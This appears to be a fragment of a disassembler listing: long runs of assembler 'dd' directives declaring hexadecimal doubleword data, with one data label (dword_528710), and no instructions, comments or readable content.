		dd 24C9E5F7h, 135A95E0h, 6828B05Fh, 8605F626h, 31DA64E0h
		dd 17B20B35h, 0EDE00FBBh, 0A717182Dh, 7308C69Fh, 0FBF63E69h
		dd 2030696h, 0F9BDB64Fh, 579D6DC4h, 0F33A8EB0h,	41594C9Fh
		dd 5028648Bh, 47E95309h, 5255E883h, 515F81C8h, 54BFCD22h
		dd 9849BB70h, 9C18F0CFh, 21E25281h, 0A8C21BD6h,	2090B5Fh
		dd 10B77B00h, 0C9FA76F0h, 0CFA37861h, 6B20D7F7h, 576A09A3h
		dd 307D0906h, 5DE7C1BBh, 75021C02h, 3DE96080h, 6E2D7CC9h
		dd 0BD5BF7F2h, 827E5801h, 0C8A68CE9h, 275807DBh, 0AF5C7DE8h
		dd 0A0667E27h, 0CC6EF30Bh, 192DE9E2h, 877698Dh,	0F0499142h
		dd 1C58BF42h, 5ED6F732h, 97FF0FC0h, 20DF8957h, 3FEB9F72h
		dd 685AA541h, 85C37FA3h, 1EBFCEEAh, 4277C7E9h, 24CD7FDBh
		dd 0ABBAE985h, 9E04D5E9h, 8628AD56h, 8832600h, 3DAD1C4Fh
		dd 3879592Dh, 0B218F5A7h, 0C483ACECh, 0F6BB84C5h, 0C35C7B34h
		dd 894A42Ch, 20539DBAh,	0D1406839h, 67323BBFh, 1474992h
		dd 1D7D4D86h, 7A0C8243h, 600A751Ah, 97FFD758h, 2D0BAF7h
		dd 0D17FA8B6h, 0A3FF2F28h, 9FF9CE0Ch, 0B151FC80h, 1730795Dh
		dd 4F1604E9h, 1F9ED0C8h, 3BD1A5DCh, 0BBC5153Ch,	2B226227h
		dd 0F809AB82h, 27319343h, 0A5BD6057h, 0F0DAA615h, 0CC5D4BEEh
		dd 0A840F459h, 0B1C09259h, 3AB401A6h, 292961D7h, 460C908Eh
		dd 17294CB2h, 0CCCC290Eh, 345D13E2h, 0B717AF17h, 0EF6A4BFEh
		dd 0F3C1F068h, 65C4311Eh, 165673C8h, 2139E25Ah,	0F8FE276Ch
		dd 0A1EBC265h, 0D4E622A0h, 0A19F14Ah, 46058729h, 0AF2E626Eh
		dd 34021EC7h, 0E3EA807Bh, 0E33D3E1Ah, 403FCE70h, 0AF09B967h
		dd 7711232Fh, 0D307F45Ah, 0E9432C04h, 0F65707A5h, 4EB345F0h
		dd 4E25F30Ah, 8AFF3F84h, 0E3F593A8h, 0B1BB67Eh,	69AFF7E9h
		dd 122B8F63h, 0FEB3EE83h, 1E553186h, 0E10B579Dh, 0A2AF55D6h
		dd 0BCEEB69h, 8BCFC174h, 5AC391B0h, 0AC0146DCh,	23C50AE1h
		dd 2EFD7564h, 40E961AFh, 0E6E350FAh, 0F773733Bh, 1CDB909Fh
		dd 403C3728h, 502590F0h, 0F177295Ch, 0BBADE654h, 0C4275305h
		dd 9FAC4359h, 40E5B25Eh, 3A24A5DFh, 25388C21h, 1CF85AF1h
		dd 25509168h, 0E921B0D5h, 0EC7292A1h, 965B173h,	0EE5575C9h
		dd 0E5EB1B5h, 0EF123799h, 0B84E58CFh, 0FBBAA149h, 0B7C5F581h
		dd 2ED5F601h, 5B9F62BAh, 14FCDAC1h, 0C09CF8EAh,	7C685355h
		dd 490B2D6Ch, 3F06A7C1h, 2DB0AD80h, 1D014B24h, 3356AD9Fh
		dd 0A5E8AEBCh, 1056A110h, 0E2EF8103h, 191CA6Fh,	18FB44DFh
		dd 0DC748608h, 0FC417D82h, 72DD2BBFh, 0A9D4C81h, 524310AAh
		dd 7AF505C3h, 32574CDFh, 5FD4F110h, 1F732EB8h, 910F468h
		dd 185D997Ch, 81973C26h, 6ADA41FEh, 0C468018Dh,	0E67BD83Eh
		dd 45A3F201h, 650DEF2Dh, 0AAE1F02Eh, 4C95E695h,	121A9F66h
		dd 20C05363h, 7F82C240h, 0F8A4A704h, 0B08558C9h, 9247C868h
		dd 602720A0h, 0FAB15850h, 3A4A7F72h, 0E98248A8h, 0F448ADACh
		dd 831E7857h, 0D9E4D10Dh, 3E43D902h, 0CCD15FF9h, 0C3412928h
		dd 4FC1043Ah, 7201FFFBh, 20A1F3A4h, 5930CB68h, 0C3288814h
		dd 8E6AC09Dh, 7611E615h, 81CD001h, 4B8C0850h, 0C614314Eh
		dd 2B41ED77h, 0F301FEA8h, 7AB508ADh, 0F7898D53h, 64010BD0h
		dd 9997F3A3h, 29F2D2EFh, 0D05D9589h, 30739D52h,	0DD43844h
		dd 9DF5A0BAh, 7A753C09h, 27AE7E58h, 5F95926Eh, 32E9ED90h
		dd 0DAACB25Bh, 0E257E2E7h, 0F1E9F15Ch, 2030A809h, 5C5C5D4Fh
		dd 0C4EAB418h, 0F9E0AE94h, 409309E9h, 9FA1FC3h,	0E48B0881h
		dd 68785259h, 880EA4E7h, 54BB412Dh, 6064BE2Eh, 0D7CBE5ADh
		dd 7D0CAE90h, 0C112560Bh, 0A3505EAh, 9D018AE0h,	9BBDD654h
		dd 0B3D7ACD9h, 7660D37h, 292D101h, 515F5A08h, 5F894B84h
		dd 0F75A9F5Eh, 0B2C2E54Eh, 0CC06E368h, 83A12DD4h, 5F5A4ECEh
		dd 0FED6B2A8h, 0E959C920h, 0AB61605Ah, 82BA49C2h, 25C0C058h
		dd 8E74577h, 6801894Dh,	424B2EB5h, 0B3000138h, 8105921Ch
		dd 1425F0E7h, 8016FCECh, 776C68EFh, 0E8FF4F08h,	0E7121538h
		dd 0F7B829CBh, 0CC4E7A3Bh, 9B4A307Bh, 4B2506B2h, 2AB283D4h
		dd 2F825A5Eh, 765CBECh,	41BA8015h, 49A9739Dh, 15C1C188h
		dd 11202D36h, 1EE96BD9h, 4AEBC6F5h, 0A278BBE1h,	0E04FE9h
		dd 526BEE8h, 0FA9D4D31h, 0FEF0B7C3h, 0EA99A1h, 4C0C6CB0h
		dd 98257F2Eh, 4E076DF9h, 976F6873h, 31C03703h, 0D1362053h
		dd 3500BD71h, 0ED811556h, 56C0503h, 1EE9556Bh, 0A4CD2C94h
		dd 2798C14Ah, 96FA5089h, 0B9B55B7Bh, 86B3F473h,	4C13817h
		dd 0B511B16h, 0C0EFD493h, 0A89654E3h, 5539099Dh, 44958452h
		dd 0DA68270Bh, 52603F7Ch, 5C8886B6h, 12121FF1h,	1E24AE57h
		dd 61A0DB1Fh, 1D40F455h, 2123E6Dh, 63D90903h, 80C8E05h
		dd 60FD53D6h, 0C0AB9E0Fh, 5DE931F2h, 20139841h,	0B858842Ch
		dd 0C341EE3h, 140812ECh, 0CD89095Dh, 0D6AA82E3h, 8277C162h
		dd 493FC32h, 17DCB5Ch, 0E9870C88h, 0B32EFC9Bh, 6B79106Eh
		dd 5784E05Ah, 9D3C8B88h, 31C3187Eh, 0D5062AEAh,	0A1C2B506h
		dd 8804F50h, 505F62E9h,	0B06E22AAh, 0D4FE2440h,	1319E497h
		dd 31711A68h, 88478FA0h, 3AAFB63Ch, 0F8503F92h,	67FDC461h
		dd 0BF4A6804h, 0CEC1D3BCh, 60298755h, 8C5B18FEh, 41E0D58Ch
		dd 4F14785Ch, 0CBFB7BD5h, 7F8C1659h, 825B97EEh,	677FBC17h
		dd 0DF450BFCh, 0F6324952h, 605D0CF0h, 2D08820Bh, 0FFF6161Ah
		dd 1BC31A5h, 0A4F34F17h, 69419EA4h, 4A49B620h, 0D44BED52h
		dd 2EA25B9Bh, 0FFCDC509h, 246553D7h, 0F8A9D3AEh, 50624AACh
		dd 0C04F21D1h, 846A61EAh, 0C1E22F73h, 0F902C284h, 6CB3847Ch
		dd 5CE5209h, 9C4E4698h,	0FFD3A5A9h, 8333C39Ch, 0A3F74A33h
		dd 7CD393C2h, 8BB96937h, 9167901h, 0C0E82B33h, 0AF5EF212h
		dd 1DB2B665h, 0E00A528Ah, 0E4B2A2B1h, 57CA3027h, 68E819C6h
		dd 1B60010Bh, 0CF42837Ah, 7D02C82Fh, 0D4B4C147h, 3280E497h
		dd 14A62E45h, 3D24D6AFh, 2F387BF2h, 9CD2C5A8h, 78B26812h
		dd 78D4D2B3h, 0E99BB713h, 0C0B2063Ah, 2E0C04EFh, 865FEFFh
		dd 0DE3064C4h, 2F3D12E3h, 2DD5563h, 1EFF00Dh, 0F51E2BBAh
		dd 92E36A77h, 0F75A7261h, 0ED0620D2h, 0B10D9B92h, 1A08D00Bh
		dd 4133C72Eh, 75EC03A4h, 79CA203Ah, 0D7EB2FD2h,	0BBADA404h
		dd 0E8527234h, 6D8C44AFh, 7401164Eh, 5C2B39EEh,	2D68B524h
		dd 8E61F8Bh, 10DED1Ch, 58D82913h, 1C472E21h, 4E460BC0h
		dd 573ABB6Eh, 97CABF59h, 66AF9D1Ch, 8B25B239h, 2DA719DEh
		dd 4C86A83Bh, 0EDA0F88h, 3EC4721Dh, 185FA500h, 2AE96014h
		dd 2F8DD0B0h, 1246202Ah, 2F8FF297h, 0C712F001h,	6AE963C0h
		dd 5DFD04BDh, 84A1E2ABh, 35E8F921h, 23AF87B5h, 7310C935h
		dd 247C07ABh, 80B991A7h, 87534BE7h, 0EF5C8365h,	7BF013EBh
		dd 9000E52h, 46323E73h,	0B4D14EF7h, 0CDE49165h,	0DF2AE9FCh
		dd 79BFDD8Dh, 0A04F094Bh, 82B52228h, 23685066h,	339F3C7Eh
		dd 3C87CD31h, 2CCBA522h, 293A4F7Fh, 0B4BA14B7h,	0B8069B12h
		dd 10AA93CCh, 855E0C1Fh, 304BAE37h, 0A6B15E31h,	0CFBF0842h
		dd 71A7827h, 844E952Dh
		dd 62F5D31Ah, 0BBA8AFECh, 0EC40F3B7h, 165E1E3Bh, 8CD3CE57h
		dd 0EDD94CC2h, 0C02DD248h, 767558C2h, 5C5E747Fh, 0BF8907F8h
		dd 12856D76h, 66C0FE15h, 92D25CFh, 0D7F77238h, 30061380h
		dd 0E91A3259h, 0FF81F4D6h, 7F362803h, 0A3718194h, 0CF6F0798h
		dd 23110BEAh, 0FAC30977h, 7C9761Fh, 30A8EE80h, 0F58812F6h
		dd 193F9793h, 2AE6CFCDh, 0AE9F126Fh, 5AADD299h,	0DDA5E1D4h
		dd 1F25F794h, 6992BAE2h, 0E9205624h, 8454B64Fh,	80D43D68h
		dd 2F10C271h, 0BA59BF24h, 12891615h, 0DCF05D51h, 182D80BEh
		dd 181E2C37h, 9097E4B2h, 80CCB5C9h, 9505A305h, 0C3298A6Ah
		dd 0FB8309h, 6E733C1Fh,	9D4D985Dh, 5F2CC20h, 804C3B6Bh
		dd 72E917B4h, 0C447CB4Eh, 0FAE87924h, 0C7E9578Fh, 5B59A540h
		dd 694A7697h, 50C910DDh, 67D401B8h, 7C6828A4h, 98656F5Eh
		dd 0BB5CC2h, 556947BAh,	0FEA34Eh, 79BC366h, 1762C10h, 8806E90h
		dd 0C14894E9h, 25048461h, 2320B3C0h, 0A711042Dh, 0AE09E724h
		dd 79537C1h, 0D6515D6Ah, 0AE0FC434h, 0A517B5DFh, 539E327Fh
		dd 1AC097EAh, 0CE9D088Eh, 98B98197h, 885301FAh,	1B6A72D7h
		dd 0F971EAD4h, 6FE1577Ah, 9FA586ECh, 714280F4h,	386800BAh
		dd 393D2666h, 0B84A935Ah, 4818F620h, 0A1595FEEh, 11B7F8AEh
		dd 227DA648h, 5DC55C64h, 30C8A94Bh, 4F5F3658h, 0E92736D3h
		dd 1AB42808h, 95F2F25Ch, 3EEDEEF0h, 4E591A8Bh, 0CB66BC4h
		dd 5AFCDC2Ch, 94BCB2E6h, 225CF38Eh, 0E92D028Ah,	0BF72604Dh
		dd 0AF101748h, 41F20101h, 0DC5C0F2Bh, 0F1975FFEh, 70BAC259h
		dd 4ADCA60Eh, 6AE4940Ah, 14A600D7h, 0E58129A0h,	316ECB0Ch
		dd 0FA40C57h, 0C101B05Eh, 0A3F50496h, 0DF880956h, 39DAA56Bh
		dd 812DECE8h, 181E1C14h, 0A0FC25F9h, 0B2615F40h, 0A8315F29h
		dd 9D061993h, 24F843CBh, 9564B575h, 4C650D0Dh, 12F1241h
		dd 0D24FF78Fh, 7EC7FDFCh, 1E7A21B5h, 5089D017h,	4716587Fh
		dd 391F12C1h, 57AA3D4Bh, 0D1FD52CAh, 9E68C230h,	42B4A67Dh
		dd 0A609723h, 0BB22E777h, 0C1297317h, 4D411A9Ch, 0D2EB4209h
		dd 19756801h, 5493AD76h, 6617F5E0h, 0E990A06Ch,	7CBBF94Dh
		dd 2DBDF3A5h, 0F6947F0Ch, 68DC51E1h, 0CE76C291h, 0EF10F752h
		dd 0B3146EFBh, 59E536Fh, 4A7A0BC8h, 0CB5EF0EBh,	3C5AFB09h
		dd 0A6F7C06h, 19FD3F7h,	33F64D17h, 0BC80604Bh, 6870AD81h
		dd 2EBD8193h, 0D15E3AE8h, 33549089h, 4EAC4ADCh,	60CB0310h
		dd 10629488h, 0C5811E07h, 0CB765C31h, 8488F501h, 0B6E90B08h
		dd 8B7DF1AFh, 64D57A3Eh, 61CF64B4h, 483EE5Bh, 0C2239FFEh
		dd 99029380h, 68B87EAh,	2B7588CDh, 223CD591h, 0B774E912h
		dd 5EEB5553h, 0C6298903h, 6EFB636Ch, 0E9A173ADh, 0C1C42E75h
		dd 93A4B2BBh, 9E2EF104h, 53028809h, 0D3005DCEh,	5AAF68E0h
		dd 863CC78h, 0BDD240h, 277A40DCh, 3FCAF581h, 5B654126h
		dd 0E4465E02h, 0F2DF7231h, 923C1480h, 0DD07F15Bh, 305C2B40h
		dd 0DC83AA35h, 0BEE9E512h, 0B9EB9DD0h, 0BD0D27A6h, 19DD606Ah
		dd 0F050AC72h, 12FE42B0h, 0BCBB34C0h, 0AC7F3F6Ch, 0F6ADCEB4h
		dd 281928D8h, 20F54308h, 525A7226h, 6CCA02AFh, 0F2D65B1Bh
		dd 5A2D0720h, 8BE7431h,	7B844A30h, 6858C19h, 4F88B3BBh
		dd 0ECE514ACh, 3DBE5F3Ch, 90E87A0Ah, 0FECB4B84h, 52F93F30h
		dd 0BB3C28A8h, 91409005h, 16E32491h, 148EA7BAh,	13066852h
		dd 31BE015Ah, 28F82173h, 2E8B2A7h, 0D909785Fh, 63B9C856h
		dd 7705C6FCh, 0E448F3CBh, 8CD3B4EEh, 16964318h,	7845AC0Ch
		dd 3AA88029h, 0AA31D630h, 9F2E555h, 64F7E9D4h, 8C0BDCFBh
		dd 322BA30h, 4C744CD6h,	3402AE73h, 0CE2968D5h, 9A71657h
		dd 0EDD15EF5h, 53E93622h, 7D9D1CD8h, 0D99D7516h, 47B00837h
		dd 481F8745h, 759DF03Dh, 0C5BDDF16h, 0D4378AE3h, 0D67B1D55h
		dd 0E1E900C5h, 529C582Fh, 64092EC1h, 24300CC4h,	21A51702h
		dd 5680ABE5h, 0BA1FE9CEh, 0D7F4BF2Ah, 829B631Ah, 0F01BCCh
		dd 482788B8h, 8C35011Bh, 56C6B20Bh, 0A24412A4h,	0AF73C572h
		dd 65B68DFAh, 257961F6h, 6BFB4697h, 4609D8DFh, 88BA76D9h
		dd 5160664h, 0ED2D9020h, 0B011FC0Ch, 8A989058h,	0B163FD08h
		dd 0B68DEFD5h, 0DE65093Fh, 8087F1D5h, 6A113A65h, 0F95BA6E9h
		dd 0E58B4778h, 0F04A332Dh, 35108645h, 0E1032826h, 239A1C0Eh
		dd 0AA9B4C20h, 29585FEDh, 0CBCA5A62h, 65D3DE68h, 0C80982E8h
		dd 483C6B77h, 6110E608h, 95844B89h, 5BF107FEh, 1080E974h
		dd 4BDF3D82h, 28F118C1h, 0DF42703Eh, 2928F559h,	0C6283B0Bh
		dd 0AE91A17h, 26705653h, 0A9DDB030h, 3B37A7C6h,	0E6034820h
		dd 3B351F9Ch, 7C164873h, 54A1A963h, 0DAF3F13Ah,	685361C0h
		dd 69111227h, 0E23B853Ah, 0B2D087B6h, 0C632077Bh, 3D87FA05h
		dd 6CC1E951h, 0EFED7B92h, 575ADB82h, 4A654FF6h,	0F739B1FDh
		dd 2D091809h, 4B0DE0E0h, 44C1248h, 9059E94Fh, 5F7D34B9h
		dd 5BAFF3EAh, 572330BFh, 5A609CE9h, 3D76C157h, 0EC144C8Ah
		dd 8705524h, 0B7075623h, 784808Fh, 599A97FFh, 8653A3DCh
		dd 0C12CDC1Dh, 0C8305BA1h, 2E706159h, 0E65612ABh, 665603F1h
		dd 0A16D43BEh, 81DCDEF7h, 0A6233EF6h, 31F8050Fh, 0C1942D85h
		dd 15CA273h, 4788F750h,	5413BB22h, 307C24B3h, 0BE5FE11Ah
		dd 86186FAFh, 335A4E77h, 0DF32553h, 1F245574h, 5AF6DCA5h
		dd 8ED93EC9h, 52C88871h, 94C733EFh, 40AAC14Fh, 0BF0C3ED8h
		dd 99089FAh, 1C6F2118h,	5F22E931h, 20F6F68Fh, 814A01BDh
		dd 0DE037BF2h, 0B8C87E16h, 2A563C9Eh, 0B1B7E917h, 70BC2E3Fh
		dd 6A20FA30h, 1B28CA66h, 0DC95095Fh, 2AD3F20h, 69E9C3A2h
		dd 3012EB56h, 8143A2EAh, 0EBE984B6h, 0F64AB43Eh, 13527D09h
		dd 0BE800020h, 274EBD03h, 0E2DCF289h, 5FCF3CC2h, 0D525527Bh
		dd 0F0961284h, 0D695660Dh, 8AE95876h, 0DCB9D3C9h, 50EAA5B2h
		dd 0E5C4ADFh, 556D0008h, 824C2972h, 0A25D042h, 1647AC5Ch
		dd 5DB39582h, 0B88ABB96h, 0D4C06627h, 4381AB68h, 0B5059562h
		dd 916F3EC1h, 45BC6E90h, 21CAA1AAh, 2D162B3Fh, 5C542AEBh
		dd 1A3B00D1h, 8CE988D5h, 492FB685h, 3F6342DCh, 0F5550344h
		dd 2F7174D9h, 170B83DBh, 0FC69B551h, 0AB66129Dh, 0E5729F0Ah
		dd 0E8C05B03h, 3E09806h, 684D172Ch, 0BC35BE0Dh,	0EFFE80AAh
		dd 0F8E05859h, 0F7FD665Bh, 0F9F04D89h, 4FD9EC95h, 17B2E658h
		dd 17BDE786h, 52B0F34Fh, 662D10BFh, 43DA3075h, 41F6E1CBh
		dd 45B0D34Ah, 0AC6C1314h, 8944B0AEh, 0F26312B5h, 8D8E200Fh
		dd 0CA125741h, 20184C5Fh, 0F7195C86h, 5D7D55DDh, 7B729A40h
		dd 0EC375B6Fh, 0B9ED12D6h, 0A6683D60h, 0F24C9D0Ah, 9DF9E7F4h
		dd 0E1E48E59h, 64F60245h, 0DB5B5A00h, 0F6E94E53h, 0BF009BB2h
		dd 25D66796h, 0B55CF81h, 4F6E622Fh, 83EF8F40h, 3F642912h
		dd 0EB5AC5AAh, 0DD0596D2h, 5E20E144h, 30D795BEh, 0D8192AD3h
		dd 1DC35AB2h, 562EAD02h, 0F5B84EE9h, 87C9F1F1h,	71D9028Ah
		dd 0B5A9C9D7h, 0F034A8F5h, 491E77A7h, 50651326h, 73DABB60h
		dd 500807D2h, 344D6CB8h, 0F6ABC23Ah, 0DB07529h,	0D080950Fh
		dd 0D7F605E7h, 0F37FAF68h, 3B64624Ch, 0B2290549h, 548A10E0h
		dd 2D77854Ch, 9C77E1D3h, 85B42098h, 2BABF4Ah, 251D6834h
		dd 0C3B933A0h, 7E2DB673h, 9C027701h, 757C7C29h,	0FE2D1168h
		dd 93E9506Ah, 67F36AF9h, 56D5D2DFh, 42BD094Eh, 34396252h
		dd 55408165h
dword_528710	dd 530EEBBDh, 9CD1270h,	3E5C6819h, 1A1B1780h, 60BE6C49h
		dd 3281CE48h, 2926A209h, 0A9734378h, 8D705D0Ah,	5AA85AD4h
		dd 9F009B48h, 0E8D15AD0h, 79432D00h, 8405597Fh,	0F09B5F2Ch
		dd 0A891979Ch, 5AE6411Ch, 6615024Eh, 45454DEh, 5802B951h
		dd 2503CD0Ch, 0A075053Dh, 7E619246h, 0C4E8ED0Fh, 70E73949h
		dd 0B604EAC8h, 0FE2551A5h, 78E86E45h, 0C8E44ABh, 22FF1790h
		dd 1561F09Bh, 5759026Ch, 1588D345h, 3AA320D8h, 333D7FC7h
		dd 0A54A2EADh, 5DCFA057h, 0FA68C331h, 5ECBA80Eh, 7F5A81BFh
		dd 319DC9F2h, 6B58D85Fh, 57708832h, 0BAEB7A74h,	1B745F70h
		dd 2B3A51h, 4B9CBD5Eh, 214B6D55h, 0B5F53181h, 0DFC7F37Fh
		dd 0A14509D7h, 6CA2D701h, 47AD873Bh, 0F1D13361h, 3676CC4h
		dd 0D028C504h, 0BB2A72Ch, 6200FA57h, 0C3013BB0h, 842F6575h
		dd 0C0630A77h, 7AEDF7BCh, 4F22AA12h, 0AA7216BBh, 15E6AF20h
		dd 29422790h, 0C1828E16h, 0E993E85Dh, 279E96C8h, 0F75AD356h
		dd 0E98B31F9h, 5FF52D9h, 7D3F9FF2h, 0B388AE33h,	70A4B5B4h
		dd 4D2607F5h, 0EFC21B84h, 6EDD09E0h, 4C23247Ch,	0B3644265h
		dd 8D088459h, 467725DDh, 6533F83Bh, 0FFC527D0h,	0AB2933E5h
		dd 516ED310h, 7D2FDCA1h, 0FE99449Fh, 14A29CA1h,	0AE48C849h
		dd 506D7610h, 947FCB72h, 869E7F95h, 7EBE8081h, 10811EA8h
		dd 0F41EE71Ah, 49C7DF80h, 0F382CE04h, 41AB9A6Fh, 0BB00D58Ch
		dd 0DE2540DBh, 90607D71h, 0B7E65F3h, 35E1C40h, 0E90DD434h
		dd 324BAFBBh, 0A8A913ABh, 0E821C511h, 0BCEFCC2h, 5E892957h
		dd 0EA25BBAEh, 5F26BAD2h, 7410EA55h, 0CA81AB4Eh, 8F223FF5h
		dd 5279D29Eh, 66B3BEA2h, 5E37DA8Ch, 76C3FCC1h, 0AE721974h
		dd 11E90C78h, 9C81306h,	3F6069F8h, 10304E0h, 0C99A9D39h
		dd 0E9F698FDh, 0C87E5E2Ah, 6913C7E0h, 0A2AA4EEAh, 20FB5BD6h
		dd 0A3E5E94Fh, 337A297h, 0BDBB0254h, 0C17D5BE0h, 4B04E31Fh
		dd 0E986678Ch, 57A609EFh, 69803677h, 53EBE56h, 0E6FC2FF6h
		dd 20A24F51h, 994C1E48h, 32DD81C7h, 0A84053EAh,	90486167h
		dd 0B6CA05A4h, 0EB1F023Fh, 0C8F9511Fh, 0B0E2CC2h, 0DD9CC202h
		dd 0FE2AE0AFh, 8B56BBB4h, 0CF32DB1h, 8053520Fh,	7F41285Fh
		dd 0B252EBE9h, 0F0C1FF31h, 0EF5F7481h, 3C62025Ch, 4FC78206h
		dd 8E6AE57Ch, 88EBB7CAh, 0D6401EB8h, 5C0709BEh,	785C4615h
		dd 6381058Eh, 0B5CF551Bh, 3637E100h, 0E24345ACh, 9DD225E9h
		dd 322058DAh, 15D6BD7Ah, 0B702404Ah, 0E1401870h, 1EE75DC6h
		dd 82FDC946h, 6160E910h, 7193AAFCh, 5A128ABFh, 0B012E1A9h
		dd 2B538B2h, 0B6A9408Ah, 9D2C8072h, 0A59845BFh,	6861605Ch
		dd 5523152Fh, 613E8518h, 2112A5EDh, 2D0019DAh, 74F15DDCh
		dd 10D94887h, 0F7670614h, 7B5EE581h, 11123C53h,	0C902F922h
		dd 29017A09h, 63484840h, 0E9708C04h, 22FBC67Fh,	0A4FD2AC4h
		dd 0FDEA1CEDh, 0C752A1A1h, 0A372B27Fh, 0A6ABECECh, 4BE90BEBh
		dd 1F8FA0C9h, 578581Eh,	601C0DBEh, 0F9EE16A4h, 6FAB419Eh
		dd 0FE01AA90h, 0CB4926E9h, 0F35E42B3h, 0F72038D9h, 0B584CA20h
		dd 7C5A89DEh, 10DF5A8Ah, 813DD0C1h, 22A84343h, 0C4315D2Ah
		dd 4F83994Dh, 7CB638FBh, 57A4604Ah, 40D99D12h, 61A65C6Bh
		dd 7A42B5E9h, 1643BD8Ah, 0A796C85Eh, 4FE97940h,	619FC3C1h
		dd 0E256ACB2h, 0BC5C12h, 3DA24713h, 9ECB6BFBh, 6217AB5Bh
		dd 3458EFFh, 7808C0BDh,	0C6CDF03Eh, 13B02D19h, 45F700F7h
		dd 80A755E9h, 4F12F0BBh, 0EBF163C7h, 0E9CC5B21h, 45E92C2h
		dd 0AB05F5BAh, 0A40C015h, 0F350DBD3h, 7A1324F4h, 1DB96659h
		dd 0A15A0840h, 3FAD2F0h, 2E1DE6D1h, 0B653ACA5h,	682702FBh
		dd 58906B8Dh, 48E040FCh, 21DD019Fh, 0FB671C4Fh,	5FF07F10h
		dd 0C2BCC385h, 0D122FEE4h, 0B1515D5Bh, 6C27E906h, 4BE17C91h
		dd 0BED7309Dh, 0A95A1BFEh, 4180F501h, 0B4202A94h, 763C09CDh
		dd 11DC01D7h, 863E8AB1h, 9D7CF373h, 0CE68DC81h,	0F3F7C240h
		dd 4989A57Fh, 60C014F7h, 35B895E8h, 0B1A9327h, 0F00B31BEh
		dd 8B50973Dh, 14404416h, 8415DA9h, 0F51BD460h, 43330905h
		dd 6E0E8366h, 6665F180h, 0B00C75E1h, 8EBE2045h,	20B3F0B5h
		dd 507DC3ADh, 7561B82Dh, 7FD0F895h, 7D50C58h, 0BE088EE5h
		dd 40A92C40h, 2B41A53Fh, 9C0188C1h, 57240191h, 10ECC01h
		dd 2501B928h, 0C9690186h, 1C32E01h, 59908C56h, 1BF6101Ah
		dd 0BF207D22h, 9CFE20A2h, 6249B720h, 7A8F813Eh,	210CA02h
		dd 68060D03h, 9D482029h, 8C41690h, 91049EFCh, 0A1F906A4h
		dd 0ACC640C1h, 0C4629540h, 42A0C79h, 901F2E22h,	43611090h
		dd 208C722Ah, 35627BCBh, 2424119h, 0B605AA7Eh, 66F2A444h
		dd 417C004h, 0CC04AD6Fh, 3B490460h, 4407D04h, 0F4045459h
		dd 0F92B0C0Fh, 44B2403Bh, 0CC8D29C6h, 0C31C421h, 0BDD90477h
		dd 0A142904h, 3688941Ch, 6AB0083Ch, 2664AF08h, 5B083128h
		dd 11799074h, 1096D210h, 0BB104E97h, 0E0342A51h, 205EC620h
		dd 8DB01588h, 0B01408CAh, 15976D88h, 3610A4FAh,	9CA3283h
		dd 0C688A642h, 8048E671h, 74815C5Ah, 9491D851h,	31709990h
		dd 5343A965h, 4C23B602h, 8971627Dh, 0E8051292h,	3534B046h
		dd 5C8640F9h, 40AC6540h, 0E1C4949Ah, 3B04CEB1h,	1AEA044Ah
		dd 46FD704h, 6A04499Ch,	4475048Dh, 433C504h, 970C1CA5h
		dd 0AF40E9B1h, 1449C435h, 0C1DB0CA5h, 5D8940CBh, 402B3040h
		dd 2240BC7Ah, 0A97C64E0h, 37410429h, 0B12CF106h, 5D9459C4h
		dd 4BF0E04h, 0F8060FE3h, 0BD4019B0h, 1B1C48Ch, 2A550466h
		dd 103FD01Eh, 9510B29Dh, 0A7FB1120h, 0CC324720h, 26C191Bh
		dd 0A029203h, 4D26025Fh, 2680202h, 0F9029D37h, 4457051Dh
		dd 0C83ABA0h, 0C4E3A94Eh, 0C3D4319h, 40AAF151h,	0C440704Ch
		dd 0F5B40FCh, 404B5840h, 0C1C4F32Eh, 50043981h,	8AD6048Fh
		dd 49F7D04h, 62046732h,	0BB1F04C7h, 40D4804h, 8C04CDFDh
		dd 89A40C25h, 0F1384086h, 41B55740h, 0F8A86BB2h, 0FE0BCEB1h
		dd 0F108E618h, 33C3E41Ah, 11E5A53h, 54674AA4h, 0A1BD2E18h
		dd 0DA490879h, 74BE0157h, 1C9D0CA4h, 5013250Ah,	0B9729657h
		dd 0E0F7EB62h, 0C02394BBh, 18D3BE2Ah, 3CF46E9Ch, 0DCA55A6Bh
		dd 0AB01125Bh, 0F302F14Bh, 0A59616E4h, 29228F6Fh, 350B45F5h
		dd 59258ABAh, 0E9558151h, 992A46B7h, 7BB2E935h,	0E2ACE016h
		dd 907AF3B7h, 0CB811E01h, 38FB1A54h, 0B190970h,	31D05BA5h
		dd 0C40832DEh, 0F96E6E59h, 0D353CBAFh, 0A1DE2D6Fh, 36A9505Fh
		dd 5939583Eh, 14F6F3DAh, 721415A4h, 0A5CB81Dh, 0FDC32989h
		dd 0D5358EECh, 0F5822A22h, 25EB560Dh, 4B7816F7h, 5D74BEFBh
		dd 0E19075h, 69B4D2EAh,	5F7633E2h, 66E94817h, 0A7637405h
		dd 60A2EA7Ah, 0B8ED0076h, 0E9257F4Bh, 2CD2BC01h, 17D9A6BEh
		dd 64889E27h, 0E22AF7B3h, 32307FACh, 0B25210ACh, 4058F019h
		dd 68185D7Ch, 64974DD6h, 590ACBA6h, 7C2F0AF3h, 9440D01Fh
		dd 6EBA59C3h, 0DB69CB3Fh, 3DA2C5E3h, 147D5D2Fh,	7952B5EBh
		dd 0C0013400h, 0D8F602E8h, 955F7004h, 0F1B7CE41h, 7B38F1E9h
		dd 1818998Ah, 5AEB1742h, 69231316h, 1207C4FFh, 0ABB08408h
		dd 0E9C24A8Ah, 0A45F97EBh, 0F521019Ch, 40AD2F5Eh, 0D1F4903h
		dd 56D5E92Ah, 0EA50BACDh, 234316B9h, 60F5B78Ch,	0CCF76FA3h
		dd 37BEF90h, 7493892Fh,	836860B1h, 2B013D0Dh, 0AEBF575Dh
		dd 3F216F6Ch, 0AF05B0D5h
		dd 1C464201h, 2C6B5F54h, 7B60956Ah, 51C8FE0Ah, 20630FB5h
		dd 12BC59E8h, 4D7E3265h, 0FACD6680h, 7E48A817h,	5EBF0034h
		dd 0EE0975D7h, 0D8C49D5Dh, 8CC8433Bh, 0D7F0294Ah, 7E9185Eh
		dd 41BF5480h, 619A081Eh, 8D63108Ch, 0B07CBD76h,	0E7C05727h
		dd 0E34B2867h, 7A66CAEAh, 28E9AEC2h, 3AC854EBh,	49564927h
		dd 5D2BA81h, 133C742Dh,	61156912h, 4C1B93E4h, 682758B8h
		dd 0B7895086h, 0E984FBC7h, 6802055Eh, 1855509Fh, 0F210E7BBh
		dd 0BD550216h, 12F42715h, 0E0E99890h, 582EB760h, 900F2A35h
